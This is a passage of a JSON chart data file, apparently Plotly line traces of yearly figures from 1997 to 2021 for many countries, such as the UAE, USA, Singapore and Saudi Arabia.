"2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.52, - 2.57, - 3.08, - 5.43, - 6.67, - 6.66, - 26.43, - 14.67, - 19.26, - 28.51, - 35.33, - 65.96, - 87.73, - 65, - 103.03, - 106.29, - 90.84, - 99.02, - 115, - 105.87, - 78.05, - 138.42, - 134.44, - 156.21, - 203.04 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.07, - 40.16, - 35.56, - 63.63, - 49, - 96.1, - 128.44, - 209.42, - 259.34, - 331.53, - 538.73, - 674.37, - 536.97, - 375.39, - 807.95, - 687.18, - 969.06, - 1054.98, - 902.13, - 784.56, - 1471.88, - 1611.16, - 1268.35, - 1284.82, - 1319.14 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1629.56, - 1867.59, - 2082.74, - 2597.52, - 2491.79, - 3327.48, - 5125.58, - 7347.88, - 8591.79, - 12021.77, - 15636.91, - 24477.48, - 23970.4, - 33822.39, - 35925.52, - 36316.65, - 30520.42, - 33028.08, - 30316.5, - 31175.5, - 28146.12, - 30126.73, - 28853.59, - 16679.54, - 20052.57 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 68.93, - 85.41, - 81.98, - 101.99, - 90.78, - 115.46, - 175.78, - 173.88, - 243.45, - 288.4, - 588, - 1051.36, - 920.48, - 1474.81, - 1614.69, - 2152.25, - 3400.76, - 2484.61, - 1654.64, - 1783.57, - 1618.8, - 1704.04, - 1740.08, - 1439.06, - 1262.47 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 342.9, - 321, - 449.59, - 530.12, - 633.13, - 711.2, - 831.68, - 901.39, - 1075.31, - 1445.54, - 1810.87, - 1938.31, - 1740.16, - 2274.21, - 2961.01, - 3733.17, - 3703.27, - 3464.83, - 2987.86, - 3133.44, - 3653.83, - 4441.4, - 4299.3, - 4237.59, - 4045.83 - ] - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.23, - 0.19, - 6.02, - 1.2, - 0.71, - 1.33, - 1.57, - 0.39, - 0.53, - 0.41, - 0.9, - 1.22, - 546.08, - 7.42, - 2.15, - 2.19, - 3.24, - 3.42, - 2.31, - 3.32, - 5.26, - 6.33, - 25.36, - 18.16 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 28.52, - 20.26, - 16.03, - 39.56, - 47.36, - 71.66, - 46.98, - 263.37, - 91.1, - 122.01, - 225.78, - 143.42, - 163.51, - 204.86, - 355, - 299.88, - 443.93, - 688.42, - 532.19, - 315.7, - 408.68, - 694.09, - 1040.6, - 1547.23, - 2228.08 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.39, - 0.2, - 0.2, - 0.33, - 0.23, - 0.31, - 0.95, - 0.7, - 0.44, - 0.5, - 0.34, - 0.32, - 0.49, - 0.72, - 0.77, - 1.68, - 1.04, - 0.92, - 1.12, - 1.21, - 1.26, - 0.35, - 0.66, - 0.85, - 1.21 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.36, - 8.35, - 8.2, - 8.69, - 10.79, - 22.33, - 19.64, - 28.92, - 66.64, - 108.46, - 135.8, - 329.25, - 149.15, - 62.96, - 82.46, - 81.52, - 104.83, - 165.48, - 92.88, - 84.53, - 88.69, - 83.75, - 85.11, - 74.79, - 69.81 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14.83, - 22.82, - 28.12, - 38.37, - 46.37, - 58.94, - 68.16, - 74.46, - 82.57, - 109.65, - 124.29, - 213.07, - 213.55, - 282.33, - 285.62, - 298.79, - 274.1, - 249.83, - 222.37, - 255.42, - 281.77, - 304.21, - 245.02, - 264.65, - 299.4 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 244.12, - 169.9, - 189.44, - 333.63, - 219.05, - 368.33, - 563.34, - 723.7, - 1010.08, - 1327.3, - 1752.61, - 1416.75, - 1539.2, - 2749.15, - 3547.26, - 3963.66, - 4433.75, - 5358.9, - 4140, - 4626.59, - 5090.7, - 5452.45, - 4969.47, - 3952.89, - 5997.41 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.68, - 1.93, - 5.64, - 2.71, - 4.35, - 10.29, - 19.21, - 15.26, - 18.83, - 33.99, - 36.09, - 41.4, - 36.15, - 26.16, - 43.95, - 69.92, - 73.62, - 91.98, - 68.53, - 57.6, - 54.31, - 45.64, - 33.9, - 60.34, - 88.54 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 1.01, - 3.83, - 21, - 29.1, - 50.56, - 17.27, - 0.32, - 0.41, - 0.53, - 0.83, - 0.53, - 0.17, - 0.05, - 0.17, - 0.32, - 0.41, - 0.15, - 0.16, - 0.78, - 1.15, - 0.26, - 0.64, - 0.13, - 0.38 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.02, - 0.01, - 0.03, - 0.8, - 0.02, - 0.03, - 0.19, - 0.14, - 0.1, - 6.44, - 6.89, - 0.21, - 0.12, - 0.01, - 0.01, - 0.06, - 0.03, - 0.06, - 0.08, - 0.06, - 0, - 0, - 0, - 0.1 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2092.4, - 1855.4, - 2034.79, - 2298.71, - 2160.87, - 2496.41, - 3023.25, - 3681.09, - 5059.28, - 5622.93, - 6705.5, - 6649.53, - 6221.39, - 7284.96, - 8589.93, - 8612.54, - 9779.07, - 9319.73, - 8828.48, - 8530.07, - 9691.07, - 9309.29, - 8737.85, - 8157.56, - 7676.83 - ] - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.96, - 3.7, - 3.32, - 3.77, - 4.89, - 5, - 7.11, - 9.2, - 14.87, - 21.79, - 33.4, - 38.01, - 34.29, - 38.21, - 48.03, - 48.87, - 52.38, - 48.76, - 42.7, - 41.16, - 46.36, - 47.23, - 40.15, - 43.86, - 39.53 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6735.4, - 7199.59, - 8395.61, - 9305.12, - 8513.34, - 10895.76, - 11490.03, - 13765.75, - 17353.06, - 18863.47, - 20731.34, - 21149.53, - 19535.49, - 25291.91, - 34741.6, - 36155.22, - 39142.1, - 42448.66, - 40336.01, - 42212.27, - 47878.48, - 52406.27, - 53088.77, - 51623.14, - 55786.38 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.04, - 44.83, - 39.06, - 45.23, - 55.59, - 65.87, - 87.73, - 75.98, - 92.65, - 107.34, - 153.8, - 217.78, - 206.93, - 292.8, - 435.08, - 465, - 530.62, - 553.93, - 569.94, - 494.48, - 532.26, - 580.08, - 621.52, - 670.32, - 530.02 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 60.69, - 34.39, - 42.36, - 70.8, - 81.05, - 93.7, - 110.27, - 207.73, - 258.19, - 290.08, - 400.04, - 400.7, - 289.03, - 514.28, - 491.22, - 519.79, - 481.25, - 348.91, - 259.11, - 310.16, - 330.1, - 390.8, - 463.81, - 450.97, - 372.23 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34, - 36.5, - 26.53, - 35.71, - 25.94, - 16.89, - 19.47, - 24.51, - 27.93, - 36.97, - 50.76, - 65.55, - 48.33, - 85.34, - 140.68, - 143.19, - 160.98, - 208.32, - 152.9, - 187.8, - 159.45, - 180.99, - 147.69, - 104.71, - 117.83 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.59, - 12.83, - 9.94, - 9.39, - 6.53, - 5.08, - 15.14, - 21.35, - 24.44, - 29.69, - 40.32, - 45.53, - 54.03, - 60.42, - 89.39, - 124.9, - 114.07, - 170.44, - 94.64, - 108.97, - 132.72, - 201.41, - 180.21, - 280.07, - 200.37 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.57, - 0.26, - 0.18, - 6.59, - 0.11, - 0.14, - 0.53, - 1.65, - 1.84, - 2.25, - 2.16, - 4.99, - 2.27, - 2.49, - 2.67, - 3.43, - 2.78, - 1.86, - 2.01, - 2.08, - 2.27, - 1.97, - 2.42, - 2.25, - 2.6 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.68, - 26.34, - 23.34, - 42.29, - 55.55, - 40.54, - 21.13, - 71.97, - 94.41, - 126.08, - 142.8, - 184.51, - 183.96, - 176, - 249.72, - 234.14, - 196.96, - 258.07, - 130.65, - 62.22, - 79.21, - 164.77, - 339.71, - 557.1, - 286.21 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 126.6, - 125.43, - 154.37, - 225.9, - 218.17, - 337.39, - 410.43, - 555.96, - 690.68, - 985.69, - 1610.09, - 1738.65, - 1838.95, - 2651.44, - 3719.09, - 3967.37, - 5441.94, - 6257.88, - 5265.99, - 6786.56, - 7813.08, - 6507.38, - 5059.9, - 4999.64, - 5105.88 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.32, - 0.51, - 0.79, - 3.2, - 0.97, - 0.92, - 1.55, - 0.63, - 1.58, - 1.14, - 1.33, - 4.21, - 1.33, - 3.72, - 1.43, - 3.9, - 4.83, - 4.23, - 5.33, - 2.88, - 42.5, - 81.4, - 74.97, - 3.54 - ] - }, - { - "mode": "lines", - "name": "YEMEN REPUBLC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 57.57, - 63.04, - 80.26, - 158.94, - 147.74, - 163.75, - 217.55, - 246.41, - 278.81, - 1184.26, - 1010.82, - 787.29, - 727.39, - 514.1, - 730.62, - 1477.27, - 1306.99, - 992.13, - 399.79, - 446.13, - 563.46, - 741.32, - 721.25, - 785.54, - 541.78 - ] - }, - { - "mode": "lines", - "name": "ZAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 26.59, - 17.32, - 23.28, - 22.48, - 25.71, - 30.95, - 39.86, - 50.4, - 66.51, - 107.97, - 131.85, - 107.43, - 88.34, - 118.45, - 210.91, - 243.08, - 377.3, - 366.59, - 298.11, - 237.21, - 294.29, - 319.05, - 247.64, - 268.87, - 258.64 - ] - }, - { - "mode": "lines", - "name": "TAJIKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.12, - 0.51, - 2.38, - 3.55, - 1.22, - 8.65, - 4.47, - 6.59, - 6.24, - 7.46, - 12.4, - 16.71, - 15.71, - 18.31, - 21.28, - 35.16, - 54.27, - 53.71, - 22.26, - 20.44, - 23.94, - 22.28, - 23.5, - 53.45, - 23.63 - ] - }, - { - "mode": "lines", - "name": "TAIWAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 403.78, - 307.96, - 315.82, - 391.67, - 360.11, - 578.51, - 532.45, - 618.51, - 629.05, - 915.27, - 1735.67, - 1504.3, - 1877.34, - 2301.49, - 3348.44, - 3043.97, - 1989.85, - 2178.7, - 1425.92, - 2183.64, - 2156.67, - 2607.21, - 1674.52, - 1620.09, - 2082.45 - ] - }, - { - "mode": "lines", - "name": "SYRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 56.81, - 58.19, - 60.9, - 75.32, - 98.4, - 121.23, - 201.46, - 253.18, - 276.67, - 408.23, - 672.78, - 364.5, - 345.43, - 493.28, - 536.48, - 258.77, - 234.09, - 187.89, - 136.83, - 121.74, - 153.32, - 154.59, - 159.33, - 124.26, - 86.36 - ] - }, - { - "mode": "lines", - "name": "SWITZERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 366.67, - 319.06, - 353.68, - 437.7, - 409.1, - 382.72, - 449.87, - 540.89, - 479.52, - 467.72, - 614.4, - 769.24, - 589.39, - 689.79, - 1095.34, - 1117.28, - 1796.95, - 1068.58, - 977.17, - 978.06, - 1083.84, - 1186.69, - 1200.08, - 1261.52, - 1012.57 - ] - }, - { - "mode": "lines", - "name": "ROMANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 15.33, - 17.55, - 12.58, - 12.18, - 11.38, - 27.42, - 47.79, - 105.96, - 84.39, - 170.46, - 262.55, - 498.41, - 330.81, - 426.03, - 269.54, - 283.15, - 286.38, - 416.79, - 255.71, - 257.55, - 398.9, - 430.3, - 366.89, - 371.84, - 428.02 - ] - }, - { - "mode": "lines", - "name": "RUSSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 952.97, - 709.42, - 947.92, - 889.01, - 798.18, - 704, - 713.75, - 631.26, - 733.15, - 903.69, - 940.61, - 1096.34, - 980.69, - 1689.43, - 1778.27, - 2295.68, - 2121.26, - 2097.01, - 1587.81, - 1937.06, - 2113.39, - 2389.47, - 3017.67, - 2655.52, - 2546.74 - ] - }, - { - "mode": "lines", - "name": "RWANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.74, - 3.96, - 3.51, - 3.31, - 4.03, - 6.16, - 5.05, - 8.36, - 10.64, - 13.78, - 13, - 29.53, - 26.45, - 32.46, - 48.28, - 77.86, - 87.56, - 149.27, - 106.08, - 88.05, - 90.6, - 144.9, - 124.05, - 134.29, - 94.94 - ] - }, - { - "mode": "lines", - "name": "SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.35, - 0.71, - 0.86, - 1, - 0.44, - 0.73, - 0.39, - 0.27, - 0.36, - 0.21, - 0.43, - 0.66, - 1.45, - 1.53, - 2.2, - 2.01, - 4.3, - 2.48, - 2.22, - 1.77, - 2.4, - 2.59, - 4.25, - 2.71, - 1.15 - ] - }, - { - "mode": "lines", - "name": "SAO TOME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.23, - 0.08, - 0.01, - 0, - 0.03, - 0.34, - 1.77, - 0.1, - 0.41, - 0.88, - 1.47, - 0.98, - 1.22, - 1.05, - 0.77, - 0.91, - 0.92, - 1.47, - 0.93, - 0.92, - 0.89, - 1.18, - 1.5, - 1.96, - 1.79 - ] - }, - { - "mode": "lines", - "name": "SAUDI ARAB", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 689.89, - 774.29, - 742.5, - 822.94, - 826.43, - 940.74, - 1123.31, - 1412.06, - 1809.77, - 2590.77, - 3711.16, - 5110.38, - 3907, - 4684.4, - 5683.29, - 9785.78, - 12218.95, - 11161.43, - 6381.47, - 5110.28, - 5410.7, - 5561.72, - 6236.86, - 5856.61, - 6630.08 - ] - }, - { - "mode": "lines", - "name": "SENEGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 28.97, - 34.22, - 20.06, - 23.77, - 23.03, - 51.35, - 26.74, - 69.24, - 93.5, - 152.18, - 198.21, - 144.82, - 188.7, - 210.16, - 365.05, - 490.24, - 426.48, - 518.75, - 558.71, - 634.1, - 724.11, - 639.24, - 477.1, - 699.1, - 668.46 - ] - }, - { - "mode": "lines", - "name": "SEYCHELLES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.08, - 8.73, - 5.15, - 7.85, - 5.73, - 6.18, - 10.08, - 10.62, - 10.62, - 12.9, - 71.89, - 97.43, - 20.09, - 27.02, - 34.72, - 38.87, - 52.72, - 32.56, - 34.14, - 35.96, - 42.06, - 84.49, - 66.64, - 55.08, - 32.43 - ] - }, - { - "mode": "lines", - "name": "SIERRA LEONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.25, - 2.02, - 3.31, - 4.18, - 17.35, - 10.96, - 12.78, - 13.12, - 18.54, - 20.81, - 30.23, - 49.21, - 37.15, - 54.3, - 86.23, - 184.23, - 100.99, - 80.4, - 91.17, - 93.71, - 93.51, - 112.27, - 115.37, - 152.11, - 140.13 - ] - }, - { - "mode": "lines", - "name": "SINGAPORE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 774.53, - 517.53, - 672.71, - 877.11, - 972.31, - 1421.58, - 2124.83, - 4000.61, - 5425.29, - 6053.84, - 7379.2, - 8444.93, - 7592.17, - 9825.44, - 16857.71, - 13619.24, - 12510.54, - 9809.36, - 7719.81, - 9564.58, - 10202.82, - 11572.27, - 8922.66, - 8675.5, - 8239.26 - ] - }, - { - "mode": "lines", - "name": "SLOVAK REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.03, - 3.76, - 5.88, - 9.81, - 8.64, - 10.99, - 16.85, - 23.86, - 21.41, - 36.24, - 47.46, - 35.83, - 35.76, - 59.47, - 94.36, - 107.01, - 104.42, - 136.9, - 137.51, - 146.15, - 152.46, - 145.96, - 138.42, - 155.97, - 123.52 - ] - }, - { - "mode": "lines", - "name": "SLOVENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.47, - 15.11, - 7.58, - 14.92, - 28.89, - 24.04, - 36.19, - 63.37, - 76.6, - 88.63, - 119.47, - 160.7, - 192.58, - 187.42, - 227.02, - 273.79, - 212.26, - 245.77, - 263.76, - 251.61, - 284.13, - 314.05, - 332.55, - 354.78, - 336.06 - ] - }, - { - "mode": "lines", - "name": "SOLOMON IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.83, - 1.28, - 0.46, - 0.46, - 0.25, - 0.3, - 6.09, - 0.26, - 0.22, - 0.3, - 28.5, - 0.9, - 0.93, - 1.14, - 1.18, - 1.52, - 2.06, - 5.22, - 2.71, - 2.31, - 1.28, - 2.57, - 2.04, - 1.65, - 1.36 - ] - }, - { - "mode": "lines", - "name": "SOMALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.88, - 35.45, - 8.62, - 6.96, - 15.03, - 19.93, - 40.11, - 47.11, - 39.66, - 86.54, - 121.39, - 70.73, - 17.38, - 89.45, - 144.72, - 182.32, - 210.89, - 352.81, - 486.6, - 504.04, - 455.52, - 537.25, - 583.87, - 554.45, - 531.8 - ] - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 393.79, - 387.72, - 285.4, - 310.67, - 352.94, - 483.98, - 539.35, - 984.04, - 1526.87, - 2241.61, - 2660.75, - 1980.28, - 2058.5, - 3912.37, - 4731.17, - 5106.93, - 5074.29, - 5301.99, - 